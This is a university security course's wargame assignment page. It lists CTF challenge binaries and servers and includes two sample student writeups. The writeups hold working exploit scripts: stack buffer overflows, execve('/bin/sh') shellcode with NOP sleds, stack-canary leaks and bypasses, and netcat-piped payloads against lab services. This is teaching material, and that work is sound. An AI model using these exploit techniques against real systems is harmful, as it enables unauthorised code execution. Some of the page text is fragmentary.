Now with ASLR
exams).
Due Date: 14 September 2018 23:59:59
Binaries:
https://cloudstor.aarnet.edu.au/plus/s/01o21KR2jOS...
| Challenge Ref | Binary Name | Address |
| buffer-4 |
shellz
|
wargames.6447.sec.edu.au:5004 |
| canary-3 | stack-dump | wargames.6447.sec.edu.au:6003 |
| format-3 | sploitwarz | wargames.6447.sec.edu.au:7003 |
| nx-1 | piv_it | wargames.6447.sec.edu.au:8001 |
| nx-2 | roproprop | wargames.6447.sec.edu.au:8002 |
| nx-3 | swrop | wargames.6447.sec.edu.au:8003 |
| nx-4 | static | wargames.6447.sec.edu.au:8004 |
| misc-1 | simple | misc.6447.sec.edu.au:8005 |
| misc-2 | egg |
misc.6447.sec.edu.au:8006
|
Same format as the mini-exam; reverse the binary; find the vulnerabillty, build an exploit and find the flag!
(All flags are stored in /flag)
ASLR is now on. A scoreboard is available at
https://ctf.6447.sec.edu.au
will be worth 5%.
wargame
containing the following for each challenge.
We are interested in proof that you understood the challenge and how to exploit them. This is not intended as a formal bug report.
We will be automarking your flag submission so please make sure you include your flag in your submission like Zac below.
Please keep your writeups concise and visually pretty. I will start taking marks off from your "following instructions" mark if your markup is too long or not concise enough. Please do not include commented lines that don't need to be there. You can think of this like "style marks" from your other subjects.
Here is an good example of what your writeup should look like. (With permission from Zac)
Jump
===========================
General overview of problems faced
-------------------------------------
Had to build python2 from source like 4 times to get pwntools and it's dependancies to behave
List of vulnerabilities
--------------------
1. `gets(&buffer);` is used which will continue to read (and write) even if it overflows the 64 byte buffer
Steps to exploit
------------------
1. Get the win function address from the output of the binary
2. Fill the 64 byte buffer and then overwrite the return address at the end with the address of the win function
Script/Command used
------------------
``` python
#!/usr/bin/env python
from pwn import *
r = remote('localhost', 5001)
line = r.recvline().strip() # Since they so kindly give us the addr in the intro
win_addr = line[line.find("0x"):] # Let's make use of that
payload = "A"*64 + p32(int(win_addr, 0))
r.sendline(payload)
r.interactive()
```
`dummy-flag{buffer-1}`
Blind
===========================
General overview of problems faced
-------------------------------------
io seemed to mess up lots on this one, I couldn't get pwntools to work at all, nor could I print from python directly into the binary over netcat.
List of vulnerabilities
--------------------
1. Text segment is non relocatable, so I could jump to win whenever I liked by overwriting the return address.
Steps to exploit
------------------
1. Find size of buffer using pwntools cyclic
2. Get address of win function with `objdump -d blind`
3. Fill buffer and write return addr at the end
Script/Command used
------------------
``` bash
python -c 'from pwn import *; print( cyclic(76) + "\xcd\x84\x04\x08")' > payload
cat payload - | nc localhost 5002
```
`dummy-flag{buffer-2}`
Runner
===========================
General overview of problems faced
-------------------------------------
I was fine getting a null terminated '/bin//sh' onto the stack, but from there I had no end of trouble. I couldn't get it to jump to system so I looked it up and apparently the convention is to call execve with the appropriate arguments. Since I already
List of vulnerabilities
--------------------
1. Program runs user provided code, doesn't get more vuln than that.
Steps to exploit
------------------
1. Load arguments for execve, being careful to build \x00s by xoring.
2. Nop-pad out to 512 bytes because the program wants exactly that.
3. Profit
Script/Command used
------------------
``` python
from pwn import *
context.update(os = 'linux', arch = 'i386', bits = 32, aslr = False, endian = 'little')
shellcode = asm('''
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80''')
payload = asm('nop')*(512-len(shellcode)) + shellcode
r = remote('localhost', 5003)
r.send(payload)
r.interactive()
```
Then `cat flag` gets us
`dummy-flag{buffer-3}`
Elitecanary
===========================
General overview of problems faced
-------------------------------------
This one was actually not too bad. Disassembling check_canary was all I had to do.
List of vulnerabilities
--------------------
1. 'Canary' doesn't change, clearly visible in static analysis.
Steps to exploit
------------------
1. Observe '1337' being loaded in `mov DWORD PTR [eax],0x73333313`
2. Use cyclic for your fuzzing and then set a break point on strcmp for v.lazy buffer size guessing
3. Send super simple payload
Script/Command used
------------------
``` bash
python -c 'print("A"*32 + "1337")' > elitecanary-payload
cat elitecanary-payload - | nc localhost 6001
```
`dummy-flag{canary-1}`
Shellcrack
===========================
General overview of problems faced
-------------------------------------
Had to write a pwntools script to get the output as hex and then resend it with the payload.
List of vulnerabilities
--------------------
1. DIY canary gets printed in intro greeting, written into user's buffer
Steps to exploit
------------------
1. Fuzz to figure out how far into the user's buffer the canary is being written
2. Catch canary as it's sent and incorporate into payload.
3. Nops-pad the payload and overwrite the return address to point back into our buffer (ty rwx)
Script/Command used
------------------
``` python
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
shellcode = asm('''
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80''')
io = connect('localhost', 6002)
io.recvuntil('\n')
name = "abcdefghABCDEFG"
io.sendline(name)
io.recvuntil('G\n')
canary = io.recvuntil('!')
print("Canary is {}".format(canary))
winaddr = "0xffffdda0"
io.sendline(asm('NOP')*(48-len(shellcode)) + shellcode + canary + cyclic(18) + p32(int(winaddr, 0) + 10))
io.interactive()
```
`dummy-flag{canary-2}`
Here is another good example (With permission from Alex):
buffer-1 (jump)
======================
General Overview of problems faced
----------------------------
Had to work out the distance between the buffer and the variable where the
address to jump to was stored (manual testing with the provided binary found
that 64 buffer characters before the address achieved the desired result)
Had to remember to reverse the bytes in the address, as it's stored in
little-endian format
My initial semi-working command would successfully jump to the win function,
but as it closed stdout immediately after I would not be able to actually use the
shell that was opened. wingz on slack suggested `( python blah ; cat - ) | nc
blah` as a way to keep it open
List of vulnerabilities
----------------------------
1. The main function uses gets(), which is unsafe and allows overflow of any
variables below it in the stack (including the function pointer that was
being used immediately afterwards)
Steps to exploit
----------------------------
1. Enter a string with 64 buffer characters, followed by the bytes 0xd2 0x91
0x04 0x08
Script/Command used
----------------------------
```
( python -c "print('A'*64 + '\xd2\x91\x04\x08')" ; cat -) | nc localhost 5001
```
buffer-2 (blind)
======================
General Overview of problems faced
----------------------------
Similar to buffer-2, with the only difference being that the address of the win
function is not given (i.e. had to find the address of the win function by
opening it in ida)
The function that the code goes to after finishing the main function is no
longer in a function pointer, but is just the return address, so finding the
offset from the buffer to the return address was also needed (found by locally
testing to find which lengths of string would cause the program to segfault)
List of vulnerabilities
----------------------------
As in buffer-1
Steps to exploit
----------------------------
1. Enter a string with 76 buffer characters, followed by the bytes 0xcd 0x84
0x04 0x08
Script/Command used
----------------------------
```
( python -c "print('A'*76 + '\xcd\x84\x04\x08')" ; cat -) | nc localhost 5002
```
buffer-3 (runner)
General Overview of problems faced
----------------------------
The program just runs whatever is given by stdin, so the problem was just
creating shellcode
Needed to learn how to write shellcode (by looking at shellcode generated by
pwntools and writing my own somewhat simpler (but less robust) version based on
it
List of vulnerabilities
----------------------------
The program runs whatever is put into the buffer, allowing arbitrary code
execution
Steps to exploit
----------------------------
1. Write a file containing shellcode (either the bytes directly or by writing
the assembly and assembling it with a program)
2. enter the contents of that file into the prompt
Script/Command used
----------------------------
The file with the assembly:
```
push 0x0068732f /* "/sh\0" */
push 0x6e68622f /* "/bin" */
mov ebx, esp /* get filename argument to point to the stack where we just put /bin/sh */
mov eax, SYS_execve /* syscall number */
xor ecx, ecx /* Don't need arguments */
xor edx, edx /* Don't care about environment */
int 0x80 /* start a syscall interrupt */
```
```
( python -c "from pwn import *; text = open('shellcode.asm').read();
print(asm(text))" ; cat - ) | nc localhost 5003
```
buffer-4 (shellz)
General Overview of problems faced
----------------------------
Needed to overwrite the return address
Needed to ensure that the value written to the return address resulted in the
shellcode being run (achieved with a nop sled taking up most of the buffer)
List of vulnerabilities
----------------------------
The program uses gets, which allows buffer overflow with no way to safeguard
against it
The stack itself (containing the buffer) is executable, so if the return address
is overwritten to point to the stack, whatever was written in the buffer can be
written
Steps to exploit
----------------------------
1. Write a file containing shellcode (done in buffer-3)
2. Enter a large number of text (generally '\x90' to make it easier to get the
return address right) followed by the shellcode followed by the address of
the buffer (at the return address)
Script/Command used
----------------------------
```
( python -c "from pwn import *; text = open('shellcode.asm').read();
print('\x90' * 0x1900 + asm(text) + '\x90' + '\x90\xcb\xff\xff' * 0x200" ; cat
-) | nc localhost 5004
```
canary-1 (elitecanary)
General Overview of problems faced
----------------------------
Needed to find the canary value that needed to be written (found by opening the
binary in IDA)
List of vulnerabilities
----------------------------
The program uses gets, which allows buffer overflow
The program will automatically open a shell if the canary variable is set to the
right value
Steps to exploit
----------------------------
1. Enter '1337' (the canary value) enough times to overwrite the canary variable
Script/Command used
----------------------------
```
( python -c "print('1337'*10)" ; cat -) | nc localhost 6001
```
canary-2 (shellcrack)
General Overview of problems faced
----------------------------
Needed to find the canary value, in order to write it back
Needed to set up a system to write and read to the server, while storing the
responses (as the canary is not necessarily made of easily typeable characters)
List of vulnerabilities
----------------------------
The program uses gets, which allows buffer overflow
When asking for the name, the program uses fread, which will not null terminate
the string if there is no null in the input data
The stack is executable
Steps to exploit
----------------------------
1. Enter a string 16 characters long when asked for the name (to get rid of any
null terminators that might already happen to exist in the buffer
2. When the name (+ canary) gets printed out, store that value to print later
3. print a nopsled + shellcode exactly 48 characters long (to get to the
canary), then the saved canary value, then enough characters to get to the
address of the return address, followed by the address of the buffer
Script/Command used
----------------------------
```
#!/usr/bin/python
from pwn import *
r = remote('localhost', 6002)
r.recvline()
r.send('a'*15 + '\n')
r.recvline()
response = r.recvline()
shellcode = asm(open("shellcode.asm").read())
r.send('\x90'*(48-len(shellcode)) + shellcode + response[-11:-2] + 'A'*3 + '\x90\xdd\xff\xff' * 5 + '\n')
r.interactive()
```
canary-3 (stack-dump)
General Overview of problems faced
----------------------------
Needed to find the address of the canary value
Needed to store the original canary value, to write it back when finished
List of vulnerabilities
----------------------------
The program uses gets when asking for the length of the entered string, which allows buffer overflow
The ability to read arbitrary memory allows for reading the canary without too
much trouble
Steps to exploit
----------------------------
1. Receive the first two lines from the server, and remember the pointer from
the second line
2. calculate the address of the canary by subtracting -0x6d and adding -0x4
(i.e. the canary address is the pointer - 0x4 + 0x6d)
3. Enter the address of the canary using the 'input data' option
4. Read the current canary value with the 'dump memory' option and store that
5. Select the 'input data' option, and in the 'length' field enter enough
characters (0x60) to get from the buffer to the canary, then the original
canary value, then the address of the win function a couple of times to
overwrite the return address
6. select the 'quit' option, and the program will return from main into the win
function, giving a shell
Script/Command used
----------------------------
```
# In interactive python
from pwn import *
r = remote('localhost', 6003) # To connect
r.recvline()
r.recvline() # Gets the useful pointer
canary_ptr = # useful pointer + 0x6d - 0x4, written in reverse
r.interactive() # To go through unnecessary text
r.sendline('a')
r.sendline('4')
r.sendline(canary)
r.recvline() # To get the canary value
canary_val = # First 4 bytes from dump, in forward order
r.sendline('a')
r.sendline('A' * (0x64 - 0x4) + canary_val + '\xcd\x86\x04\x08' * 4)
r.interactive() # just send 'd' to quit and the shell is yours
```
give cs6447 war3 war3.md
Late submissions incur a 0.5 mark penalty per day on the maximum possible mark you can get. Eg. If you submit 4 days late, and your raw mark is 2/5, then you will still receive 2/5. If you submit 4 days late, and your raw mark 5/5, your adjusted mark will be 3/5.
Resource created Wednesday 29 August 2018, 04:55:15 PM, last modified Sunday 02 September 2018, 01:17:54 PM.